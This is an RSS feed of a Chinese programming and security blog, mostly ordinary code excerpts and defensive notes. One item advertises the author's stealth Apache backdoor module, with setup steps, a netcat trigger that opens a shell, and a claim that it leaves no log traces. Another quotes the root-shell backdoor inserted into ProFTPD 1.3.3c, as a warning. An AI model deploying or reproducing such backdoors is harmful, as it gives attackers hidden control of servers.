<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大虫</title>
	<atom:link href="http://www.xtiger.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xtiger.net</link>
	<description>.</description>
	<lastBuildDate>Wed, 11 Jan 2012 06:22:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>能图不表-健康度监控之趋势图</title>
		<link>http://www.xtiger.net/2011/04/20/operations-data-trends/</link>
		<comments>http://www.xtiger.net/2011/04/20/operations-data-trends/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 08:07:38 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[gd]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[运营]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=150</guid>
		<description><![CDATA[在日常运营中，大家最担心的莫过于自己负责的项目是否正常运转，于是乎我们会对运营状况监控。通常会在运营数据异常时发告警邮件。但如果我们需要观察一段时间内的数据呢？或者需要给其他同事和leader同步某时段内的运营情况呢？依照‘能图不表’ 的原则，最好是有一个图咯，下面我介绍一段快速画出趋势图的代码。 &#160; 一、 准备工作 1、 周期性的监控数据 什么是‘监控数据’不需要我解释了吧，什么？你没有数据？那就别往下看了&#8230; 比如说：每次你代码执行时写入mysql的数据量。 如何体现周期性呢？最好是有单独的表来保存一个时段内的数值，避免每次去count查询运营数据，很影响数据库性能。 2、 安装GD库及perl GD::Graph模块 去GD官方网站下载GD库安装。 依次安装GD \GD::Graph模块从CPAN上。 二、 上代码 1、 GD::Graph模块数据输入 我们需要展现的数据原来是一张表，如果放到代码里，就是一个hash或数组。 而在GD::Graph模块中，要求输入的是数组形式，多个数据组合，就是多维数组。 一维(X轴)是时间，其他维（Y轴）是数据。多少组数据就是多少条曲线。 &#160; &#160; 2、 代码解释 ##################################### #!/usr/bin/perl -w use GD::Graph::lines; use Data::Dumper; my %report; #声明一个图数据，并设置画布大小 my $my_graph = new GD::Graph::lines(400,250); #以下参数，顾名思义 $my_graph-&#62;set( x_label           =&#62; &#8216;hour&#8217;, y_label           =&#62; &#8216;work time(s)&#8217;, title             =&#62; &#8216;serverStatus&#8217;, x_max_value       [&#8230;] <a class="more-link" href="http://www.xtiger.net/2011/04/20/operations-data-trends/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2011/04/20/operations-data-trends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache Tunnel Backdoor</title>
		<link>http://www.xtiger.net/2011/02/20/apache-tunnel-backdoor/</link>
		<comments>http://www.xtiger.net/2011/02/20/apache-tunnel-backdoor/#comments</comments>
		<pubDate>Sat, 19 Feb 2011 20:20:08 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[tunnel]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=132</guid>
		<description><![CDATA[特点： 1、端口复用 直接 使用 apache的socket，穿墙 2、隐秘启动 平时无进程和网络连接，当发送的任意http请求中host设置为^bkc时 ，启动shell.不留痕迹 apache log中也不会留下异常日志。 用法： 1、设置后门 把 mod_cbtype.so放到modules目录 编辑http.conf，添加内容：LoadModule cbtype_module modules/mod_cbtype.so 重启apache 2、获得shell nc ip port GET / HTTP/1.1 Host: ^bkc &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; xt9~ #netcat 192.168.131.135 80 GET / HTTP/1.1 Host: ^bkc Apache Tunnel Backdoor ver0.1 by Xti9er &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- sh: turning off NDELAY mode uname -a Linux xt9-laptop 2.6.32-28-generic &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 暂时只支持2.2版，只能得到普通权限shell,需要其他本地root后门配合。 [&#8230;] <a class="more-link" href="http://www.xtiger.net/2011/02/20/apache-tunnel-backdoor/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2011/02/20/apache-tunnel-backdoor/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>一类客户端软件架构漏洞</title>
		<link>http://www.xtiger.net/2011/01/17/%e4%b8%80%e7%b1%bb%e5%ae%a2%e6%88%b7%e7%ab%af%e8%bd%af%e4%bb%b6%e6%9e%b6%e6%9e%84%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.xtiger.net/2011/01/17/%e4%b8%80%e7%b1%bb%e5%ae%a2%e6%88%b7%e7%ab%af%e8%bd%af%e4%bb%b6%e6%9e%b6%e6%9e%84%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 15:57:56 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[checklist]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[劫持]]></category>
		<category><![CDATA[客户端]]></category>
		<category><![CDATA[数据注入]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=122</guid>
		<description><![CDATA[14号安全焦点(http://www.securityfocus.com)爆了一个ICQ远程执行漏洞，DNS劫持导致恶意文件执行，谈这个漏洞的成因得从ICQ的更新流程说起: 1. ICQ发起一个更新查询请求http://update.icq.com/cb/icq6/30009/0/updates.xml 2. 分析版本号是否大于本地版本 3. 如果大于则download补丁ZIP包 4. 解压补丁文件，替换旧程序。 通常客户端类软件更新补丁都是这么个流程，从程序开发者的角度看没什么问题，可是在众黑帽、白帽的眼里就不是这样，下细分析就会发现整个流程中不够严谨的地方。 首先这个update.icq.com能确定是你想访问的服务器吗？ 其次，解压替换旧程序时，你确认这个新文件是ICQ自己公司的文件吗？ 于是文中作者给出了一个漏洞利用场景。 先修改hosts把update.icq.com指向自己的server(相当于DNS劫持)， 然后在自己的server上仿冒了一个updates.xml，当然icq.zip也是仿冒的。 然后，大家应该想得到会出现什么样的情况。 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 漏洞已经出来了，我们怎么防御呢？ 网络层面：确保从服务器端下载的文件是可靠的。 其实这不容易做到，首先访问下载服务器是通过DNS解析域名到服务器IP，然后download,而这个解析过程很难确保是正确的IP ，不被欺骗劫持。但又几乎不得不采用域名解析的方式，因为你需要依赖DNS解析来实现CDN负载均衡加速等功能。 采用https，或许能好些，不过也只是提高了一下利用漏洞的门槛，并非不可逾越。 或者采用私有协议，不过有心破解，也只是时间问题。 程序自身安全：对于补丁包，可以采用签名效验。 目前还算是比较靠谱一点的办法。不过很多中小型公司也不具备这个条件。 相对靠普的方案，可以参考以下windows\linux（ubunut&#124;redhat&#8230;）的补丁更新流程。 之前的工作中也分析过这类问题，当然大家别猜了，已经修补。 此类问题导致的安全漏洞应该是非常多的，不知道各位看官是否检查过自家客户端软件是否有这样的问题。至于这类漏洞有无被大规模利用过，无从考证，但个别案例确实有。不过是利用者功力深厚与否的问题了，没准各位中过招还不知道呢，呵呵。利用方式不仅限于DNS劫持，甚至包括http数据注入等组合拳。 扯远了，各位把这类漏洞场景放到自家客户端软件安全checklist中去吧，记住从利用者角度来看不仅仅是DNS劫持方式。]]></description>
		<wfw:commentRss>http://www.xtiger.net/2011/01/17/%e4%b8%80%e7%b1%bb%e5%ae%a2%e6%88%b7%e7%ab%af%e8%bd%af%e4%bb%b6%e6%9e%b6%e6%9e%84%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[转]从一个Perl程序看网络服务器设计</title>
		<link>http://www.xtiger.net/2010/12/10/%e8%bd%ac%e4%bb%8e%e4%b8%80%e4%b8%aaperl%e7%a8%8b%e5%ba%8f%e7%9c%8b%e7%bd%91%e7%bb%9c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%ae%be%e8%ae%a1/</link>
		<comments>http://www.xtiger.net/2010/12/10/%e8%bd%ac%e4%bb%8e%e4%b8%80%e4%b8%aaperl%e7%a8%8b%e5%ba%8f%e7%9c%8b%e7%bd%91%e7%bb%9c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%ae%be%e8%ae%a1/#comments</comments>
		<pubDate>Fri, 10 Dec 2010 02:49:56 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[佳文共賞]]></category>
		<category><![CDATA[编程]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=105</guid>
		<description><![CDATA[原文 http://www.perlfect.com/articles/select.shtml 简单优化下其代码，并写了个客户端脚本进行测试。 服务器端代码如下： use strict; use IO::Socket; use IO::Select; $&#124;++;  # 因为print到终端，所以这里要打开autoflush my $s = IO::Socket::INET-&#62;new(LocalAddr =&#62; &#8216;localhost&#8217;,  # 创建一个侦听socket LocalPort =&#62; 1234, Listen    =&#62; 5, Proto     =&#62; &#8216;tcp&#8217;) or die $@; my $read_set = new IO::Select();   # 创建一个IO::Select目标 $read_set-&#62;add($s);   # 把上述侦听socket加入IO::Select的检查队列 while (1) {   # 一个死循环 # IO::Select有一个静态select方法，第一个参数如果设置，表示检查可读的socket # 该方法一直block，直到有可用的句柄返回 # 返回一个三参数列表，第一个参数表示可读的socket句柄集合（一个数组引用） my ($rh_set) [&#8230;] <a class="more-link" href="http://www.xtiger.net/2010/12/10/%e8%bd%ac%e4%bb%8e%e4%b8%80%e4%b8%aaperl%e7%a8%8b%e5%ba%8f%e7%9c%8b%e7%bd%91%e7%bb%9c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%ae%be%e8%ae%a1/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/12/10/%e8%bd%ac%e4%bb%8e%e4%b8%80%e4%b8%aaperl%e7%a8%8b%e5%ba%8f%e7%9c%8b%e7%bd%91%e7%bb%9c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%ae%be%e8%ae%a1/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>检测网卡是否处于混杂模式</title>
		<link>http://www.xtiger.net/2010/12/06/check_if_in_promiscuous_mode/</link>
		<comments>http://www.xtiger.net/2010/12/06/check_if_in_promiscuous_mode/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 05:01:33 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[promisc]]></category>
		<category><![CDATA[混杂模式]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=91</guid>
		<description><![CDATA[代码片断摘至OSSEC，多读读开源软件代码还是挺有收获的。 #include &#60;sys/ioctl.h&#62; #include &#60;net/if.h&#62; #include &#60;stdio.h&#62; #include &#60;stdlib.h&#62; #include &#60;unistd.h&#62; #include &#60;string.h&#62; /*  check_rc_if: v0.1 *  Check all interfaces for promiscuous mode */ void main() { int _fd, _errors = 0, _total = 0; struct ifreq tmp_str[16]; struct ifconf _if; struct ifreq *_ir; struct ifreq *_ifend; struct ifreq _ifr; _fd = socket(AF_INET, SOCK_DGRAM, 0); [&#8230;] <a class="more-link" href="http://www.xtiger.net/2010/12/06/check_if_in_promiscuous_mode/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/12/06/check_if_in_promiscuous_mode/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>disable ssh tunneling</title>
		<link>http://www.xtiger.net/2010/12/04/disable-ssh-tunneling/</link>
		<comments>http://www.xtiger.net/2010/12/04/disable-ssh-tunneling/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 17:26:31 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[tunnel]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=76</guid>
		<description><![CDATA[那天看到包子的 Blog提到linux ssh隧道后门及检测，这个角度很好，其实我自己有时候‘搞事’也那样用。嘿嘿。 因为这是一个非常好的 加密隐秘通道，既隐藏了自己又保证了数据传输时的安全，搞别人时自己也得注意安全哦。 包子提到：我们如何发现，和防御这类后门？事前，事中，事后，咋办？ 一、用iptables 事前防御就是 iptables -t nat -A POSTROUTING -j DROP除非是作为网关等特殊用途，估计很少服务器需求这个功能吧。drop一了百了。 事中就是(如果你没在前DROP) iptables -t nat -A POSTROUTING -j LOG 会发现LOG有如下日志记录 Jun 3 18:45:35 xt9-box kernel: IN= OUT=eth1 SRC=192.168.18.6 DST=192.168.18.2 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=29035 DF PROTO=TCP SPT=23834 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 事后自然就是分析上面的日志咯。 二、修改sshd源码 已经有人写过这样的补丁了。SSH tunnel-only gateway + patch 事前（修改sshd），事中(log),事后（分析log）都有了。 为AllowTcpForwarding新增一个PermitOpen配置项 [&#8230;] <a class="more-link" href="http://www.xtiger.net/2010/12/04/disable-ssh-tunneling/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/12/04/disable-ssh-tunneling/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>小心protftpd 1.3.3c源码被人插入后门。</title>
		<link>http://www.xtiger.net/2010/12/02/%e5%b0%8f%e5%bf%83protftpd-1-3-3c%e6%ba%90%e7%a0%81%e8%a2%ab%e4%ba%ba%e6%8f%92%e5%85%a5%e5%90%8e%e9%97%a8%e3%80%82/</link>
		<comments>http://www.xtiger.net/2010/12/02/%e5%b0%8f%e5%bf%83protftpd-1-3-3c%e6%ba%90%e7%a0%81%e8%a2%ab%e4%ba%ba%e6%8f%92%e5%85%a5%e5%90%8e%e9%97%a8%e3%80%82/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 14:52:24 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[proftpd]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=67</guid>
		<description><![CDATA[原文在这里 ：http://pastebin.ca/2007709 http://www.exploit-db.com/exploits/15662/ 这里说到，rsync.proftpd.org 服务器存在一个漏洞，被黑客攻击得手，然后修改了官方提供用户下载的proftpd源码包，在代码中加入了后门！ 注意看这里 if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } /* List the syntax for the given target command. */ for (i = 0; i &#60; help_list-&#62;nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { 在hacker指定的特殊指令下，会向攻击者开启一个root权限的shell!! 所以建议大家把自己下载的proftpd安装包与官方的标准文件进行对比，以确保未被加入后门。 Original file: Name: proftpd-1.3.3c.tar.bz2 Size: 4166609 MD5: 8571bd78874b557e98480ed48e2df1d2 SHA256: ea7f02e21f81e6ce79ebde8bbbd334bd269a039ac9137196a35309f791b24db1 Compromised file: [&#8230;] <a class="more-link" href="http://www.xtiger.net/2010/12/02/%e5%b0%8f%e5%bf%83protftpd-1-3-3c%e6%ba%90%e7%a0%81%e8%a2%ab%e4%ba%ba%e6%8f%92%e5%85%a5%e5%90%8e%e9%97%a8%e3%80%82/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/12/02/%e5%b0%8f%e5%bf%83protftpd-1-3-3c%e6%ba%90%e7%a0%81%e8%a2%ab%e4%ba%ba%e6%8f%92%e5%85%a5%e5%90%8e%e9%97%a8%e3%80%82/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>文人相轻</title>
		<link>http://www.xtiger.net/2010/12/02/%e6%96%87%e4%ba%ba%e7%9b%b8%e8%bd%bb/</link>
		<comments>http://www.xtiger.net/2010/12/02/%e6%96%87%e4%ba%ba%e7%9b%b8%e8%bd%bb/#comments</comments>
		<pubDate>Thu, 02 Dec 2010 07:49:45 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[千思万绪]]></category>
		<category><![CDATA[kingsoft]]></category>
		<category><![CDATA[开源]]></category>
		<category><![CDATA[金山]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=61</guid>
		<description><![CDATA[昨日 听说 金山卫士开源了 [http://www.ijinshan.com/news/wsky.shtml] ，本来是好事，至少是个进步。却批评声不断。 这是其中三个 金山安全卫士代码批评 为什么我为金山卫士开源捏把汗 金山卫士宣布全面开源 360称此举极度危险 看了这个文章，想起一个词 ‘文人相轻’ 想挑一个人的毛病，很容易做到，如果是学习的态度，其实你能收获更多，何必。 当然如果为了某种自私的利益而去说这件事的人，就不必劝导他了。 “Do not judge, and you will not be judged. Do not condemn, and you will not be condemned. Forgive, and you will be forgiven” &#8212;&#8212;《Bible》]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/12/02/%e6%96%87%e4%ba%ba%e7%9b%b8%e8%bd%bb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>读取windows系统日志的三种方式(powershell\perl\c#)</title>
		<link>http://www.xtiger.net/2010/11/30/%e8%af%bb%e5%8f%96windows%e7%b3%bb%e7%bb%9f%e6%97%a5%e5%bf%97%e7%9a%84%e4%b8%89%e7%a7%8d%e6%96%b9%e5%bc%8fpowershellperlc/</link>
		<comments>http://www.xtiger.net/2010/11/30/%e8%af%bb%e5%8f%96windows%e7%b3%bb%e7%bb%9f%e6%97%a5%e5%bf%97%e7%9a%84%e4%b8%89%e7%a7%8d%e6%96%b9%e5%bc%8fpowershellperlc/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 05:46:50 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[日志]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=42</guid>
		<description><![CDATA[读取windows系统日志的三种方式(powershell\perl\c#)]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/11/30/%e8%af%bb%e5%8f%96windows%e7%b3%bb%e7%bb%9f%e6%97%a5%e5%bf%97%e7%9a%84%e4%b8%89%e7%a7%8d%e6%96%b9%e5%bc%8fpowershellperlc/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>powershell远程唤醒系统</title>
		<link>http://www.xtiger.net/2010/11/30/powershell%e8%bf%9c%e7%a8%8b%e5%94%a4%e9%86%92%e7%b3%bb%e7%bb%9f/</link>
		<comments>http://www.xtiger.net/2010/11/30/powershell%e8%bf%9c%e7%a8%8b%e5%94%a4%e9%86%92%e7%b3%bb%e7%bb%9f/#comments</comments>
		<pubDate>Tue, 30 Nov 2010 05:43:43 +0000</pubDate>
		<dc:creator>xt9</dc:creator>
				<category><![CDATA[编程]]></category>
		<category><![CDATA[powershell]]></category>

		<guid isPermaLink="false">http://www.xtiger.net/?p=40</guid>
		<description><![CDATA[从MS官方blog上看到一则很实用的脚本，用来远程唤醒系统 1、确认你的系统是否支持远程唤醒 #ethtool etho&#124;grep ‘Wake-on’ Supports Wake-on: pumbag Wake-on: g g 表示已启动 2、编写脚本 ######################## param($MacAddress) echo “Wake up $MacAddress Now!” [byte[]] $MagicPacket = 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF $MagicPacket += ($MacAddress.split(&#8216;-&#8217;) &#124; foreach {[byte] (&#8217;0x&#8217; + $_)}) * 16 $UdpClient = New-Object System.Net.Sockets.UdpClient $UdpClient.Connect(([System.Net.IPAddress]::Broadcast) ,9) $UdpClient.Send($MagicPacket,$MagicPacket.length) ######################## 保存为wakeup.ps1 3、测试 PS D:\programme\powershell&#62; ping 192.168.1.188 -n [&#8230;] <a class="more-link" href="http://www.xtiger.net/2010/11/30/powershell%e8%bf%9c%e7%a8%8b%e5%94%a4%e9%86%92%e7%b3%bb%e7%bb%9f/">&#8595; Read the rest of this entry...</a>]]></description>
		<wfw:commentRss>http://www.xtiger.net/2010/11/30/powershell%e8%bf%9c%e7%a8%8b%e5%94%a4%e9%86%92%e7%b3%bb%e7%bb%9f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

